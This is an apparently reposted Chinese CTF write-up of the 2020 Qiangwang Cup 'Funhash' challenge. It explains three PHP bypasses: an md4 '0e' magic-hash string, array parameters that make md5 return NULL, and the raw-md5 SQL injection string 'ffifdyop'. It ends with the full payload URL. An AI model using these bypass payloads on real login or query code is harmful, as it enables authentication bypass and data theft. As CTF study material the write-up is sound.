2020第四届"强网杯"全国网络安全挑战赛-Funhash


Funhash

 

打开环境

 

 

 

简单的分析一下 三个level 一个一个过吧

 

//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

判断条件  hash1的原始值要等于 hash1的md4加密值  就是加密前和加密后  相同就能过了

这个和 MD5($_GET['name']) == MD5($_GET['password']) 这种市相同类型的

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

撞一个md4  给出字符串

0e251288019

 

 

 

给出 payload : ?hash1=0e251288019

 

 

 第一关绕过,下面绕过第二关

 //level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

判断条件  hash2不能和hash3全等( === 全等) hash2的md5要和hash3的md5相同 (  !==  不全全等)

这里用的 === 那么就不能 使用 上面的方法

我们使用php中md5的特性来绕过

md5([1,2]) == md5([3,4]) == NULL

我们使用数组 

传入 hash2[]=1&hash3=[]=2

payload= ?hash1=0e251288019&hash2[]=1&hash3[]=2

 

 

 成功绕过 第二关 ,下面开始第三关

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();

 

是一个 sql注入里面的 md5

平常绕过一个password

SELECT * FROM flag WHERE password = ' ' or 1=1'

那么 ’ or 后面要接上一个 为 true 的表达式

SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'

那么目的就明确了   md5($_GET["hash4"],true)  这里要为 true

 

参考 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

  https://www.pianshen.com/article/789754585/

 

我这里直接给出

content: ffifdyop 

hex: 276f722736c95d99e921722cf9ed621

craw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

string: 'or'6]!r,b

 

payload :  ?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

 

 得到flag 

flag打码

成功解决、

给出参考

https://blog.csdn.net/qq_19980431/article/details/83018232?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param

https://www.pianshen.com/article/789754585/

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM